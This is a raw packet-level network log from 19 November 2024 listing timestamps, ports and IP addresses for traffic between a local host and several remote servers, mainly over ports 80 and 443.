Nov 19, 2024 01:01:46.925302982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925312996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925314903 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925324917 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925334930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925340891 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925347090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925357103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925369024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925369978 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925379992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925390005 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925391912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925405979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925431013 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925456047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925467014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925477028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925486088 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925488949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925499916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925510883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925518990 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925520897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925533056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925542116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925544024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925554037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925556898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925565958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925576925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925586939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:46.925606012 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925631046 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:46.925738096 CET	443	49967	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.925825119 CET	443	49967	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.925972939 CET	49967	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.928597927 CET	49967	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.928597927 CET	49967	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.928617001 CET	443	49967	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.928641081 CET	443	49967	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.937427044 CET	49978	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.937459946 CET	443	49978	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.937522888 CET	49978	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.937791109 CET	49978	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.937804937 CET	443	49978	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.982021093 CET	443	49968	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.982044935 CET	443	49968	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.982083082 CET	443	49968	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.982134104 CET	49968	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.982135057 CET	49968	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.982450008 CET	49968	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.982464075 CET	443	49968	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.982505083 CET	49968	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.982520103 CET	443	49968	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.986563921 CET	49979	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.986603022 CET	443	49979	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:46.986674070 CET	49979	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.986813068 CET	49979	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:46.986825943 CET	443	49979	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.026022911 CET	443	49969	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.026385069 CET	443	49969	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.026444912 CET	49969	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.026518106 CET	49969	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.026534081 CET	443	49969	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.026544094 CET	49969	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.026549101 CET	443	49969	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.029530048 CET	49980	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.029563904 CET	443	49980	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.029660940 CET	49980	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.029819965 CET	49980	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.029834986 CET	443	49980	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.032382965 CET	443	49970	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.032538891 CET	443	49970	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.032607079 CET	49970	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.032655954 CET	49970	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.032655954 CET	49970	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.032669067 CET	443	49970	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.032677889 CET	443	49970	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.036382914 CET	49981	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.036411047 CET	443	49981	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.036470890 CET	49981	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.036715984 CET	49981	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.036731005 CET	443	49981	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.044683933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.044701099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.044717073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.044769049 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.044809103 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.044831038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.044846058 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.044861078 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.044876099 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.044877052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.044894934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.044894934 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.044909000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.044909954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.044922113 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.044925928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.044941902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.044945002 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.044966936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.044967890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.044986963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.044994116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045011997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045027971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045033932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045044899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045058966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045059919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045078039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045088053 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045094967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045114994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045116901 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045139074 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045145988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045156956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045167923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045175076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045188904 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045192957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045205116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045208931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045223951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045224905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045237064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045241117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045257092 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045257092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045267105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045274019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045288086 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045289993 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045298100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045306921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045321941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045331001 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045337915 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045350075 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045355082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045370102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045386076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.045388937 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045408964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.045417070 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.066917896 CET	443	49971	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.067028046 CET	443	49971	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.067092896 CET	49971	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.067735910 CET	49971	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.067753077 CET	443	49971	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.067765951 CET	49971	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.067771912 CET	443	49971	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.070929050 CET	49982	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.070960045 CET	443	49982	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.071046114 CET	49982	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.071249008 CET	49982	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:47.071258068 CET	443	49982	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:47.164208889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164264917 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164284945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164283991 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164313078 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164325953 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164330006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164346933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164366961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164406061 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164422989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164438009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164454937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164470911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164478064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164478064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164495945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164495945 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164511919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164539099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164544106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164563894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164571047 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164582014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164597988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164597988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164614916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164622068 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164629936 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164633036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164649963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164664984 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164664984 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164665937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164675951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164693117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164709091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164716005 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164722919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164726019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164741993 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164742947 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164751053 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164758921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164774895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164777994 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164791107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164808035 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164808989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164808035 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164827108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164839983 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164843082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164860010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164869070 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164876938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.164897919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.164917946 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.165591955 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.165652990 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.165674925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.165723085 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.169284105 CET	443	49975	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.169770956 CET	49975	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:47.169781923 CET	443	49975	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.170092106 CET	443	49975	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.170491934 CET	49975	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:47.170542955 CET	443	49975	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.171062946 CET	49975	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:47.178333044 CET	443	49973	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:47.178545952 CET	49973	443	192.168.2.6	20.125.209.212
Nov 19, 2024 01:01:47.178563118 CET	443	49973	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:47.179047108 CET	443	49973	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:47.179485083 CET	49973	443	192.168.2.6	20.125.209.212
Nov 19, 2024 01:01:47.179569006 CET	443	49973	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:47.179682970 CET	49973	443	192.168.2.6	20.125.209.212
Nov 19, 2024 01:01:47.204241991 CET	443	49972	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:47.204504013 CET	49972	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:47.204519987 CET	443	49972	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:47.204978943 CET	443	49972	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:47.205351114 CET	49972	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:47.205420017 CET	443	49972	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:47.205559969 CET	49972	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:47.211328983 CET	443	49975	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.223330021 CET	443	49973	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:47.247327089 CET	443	49972	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:47.252791882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.252840996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.252856970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.252857924 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.252871990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.252895117 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.252904892 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.252914906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.254837990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.254867077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.254882097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.254925966 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.254971027 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.256087065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.256103992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.256127119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.256135941 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.256143093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.256154060 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.256160021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.256175041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.256180048 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.256225109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.284025908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.284065962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.284105062 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.284122944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.284123898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.284179926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.284194946 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.284218073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.284226894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.284267902 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.284272909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.284307957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.284315109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.284343958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.284367085 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.284378052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.284392118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.284415007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.284415960 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.284447908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.284461975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.284491062 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.310178995 CET	443	49974	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:47.310499907 CET	49974	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:47.310508013 CET	443	49974	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:47.311640024 CET	443	49974	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:47.312057018 CET	49974	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:47.312222958 CET	49974	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:47.312226057 CET	443	49974	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:47.330040932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.330127954 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.330281973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.330331087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.331779003 CET	443	49973	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:47.355333090 CET	443	49974	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:47.355978012 CET	443	49976	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.356249094 CET	443	49973	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:47.356262922 CET	49976	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:47.356283903 CET	443	49976	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.356317043 CET	49973	443	192.168.2.6	20.125.209.212
Nov 19, 2024 01:01:47.356580019 CET	443	49976	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.358774900 CET	49976	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:47.358835936 CET	443	49976	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:47.359256029 CET	49973	443	192.168.2.6	20.125.209.212
Nov 19, 2024 01:01:47.359271049 CET	443	49973	20.125.209.212	192.168.2.6
Nov 19, 2024 01:01:47.359999895 CET	49976	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:47.372442961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.372459888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.372477055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.372493029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.372498035 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.372509956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.372519970 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.372574091 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.374617100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.374659061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.374675035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.374703884 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.374738932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.375854015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.375879049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.375895977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.375904083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.375911951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.375925064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.375930071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.375946045 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:47.375952959 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.375972986 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.376002073 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:47.380999088 CET	443	49977	23.47.50.143	192.168.2.6
